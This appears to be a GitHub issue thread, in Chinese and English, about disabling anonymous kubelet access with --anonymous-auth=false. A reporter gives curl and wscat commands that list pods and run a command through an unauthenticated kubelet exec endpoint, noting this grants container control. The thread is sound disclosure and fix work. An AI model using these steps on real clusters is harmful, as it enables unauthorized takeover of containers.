修复kubelet安全策略

[cqspirit]

https://kubernetes.io/docs/admin/kubelet-authentication-authorization/
By default, requests to the kubelet’s HTTPS endpoint that are not rejected by other configured authentication methods are treated as anonymous requests, and given a username of system:anonymous and a group of system:unauthenticated.

To disable anonymous access and send 401 Unauthorized responses to unauthenticated requests:

start the kubelet with the --anonymous-auth=false flag

[gjmzj]

感谢提供安全漏洞相关信息；
为较好解决这个问题，需要多处修改，我会先接受PR，然后继续修改

[cqspirit]

好的，我也正在解决这个问题，涉及的修改很多，目前kubulet和api server访问正常了，但是kubectl logs不能使用，dashboard也部署不上，还在解决。。

[cqspirit]

具体测试办法是：
curl --insecure https://kube-node-here:10250/pods | jq
curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://kube-node-here:10250/exec///?command=touch&command=hello_world&input=1&output=1&tty=1"
返回结果为：
< HTTP/2 302
< location: /cri/exec/PfWkLulG
< content-type: text/plain; charset=utf-8
< content-length: 0
< date: Tue, 13 Mar 2018 19:21:00 GMT
然后执行
wscat -c "https://kube-node-here:10250/cri/exec/PfWkLulG" --no-check
即可获得容器的控制权。

详见:
https://medium.com/handy-tech/analysis-of-a-kubernetes-hack-backdooring-through-kubelet-823be5c3d67c
kubernetes/kubernetes#59666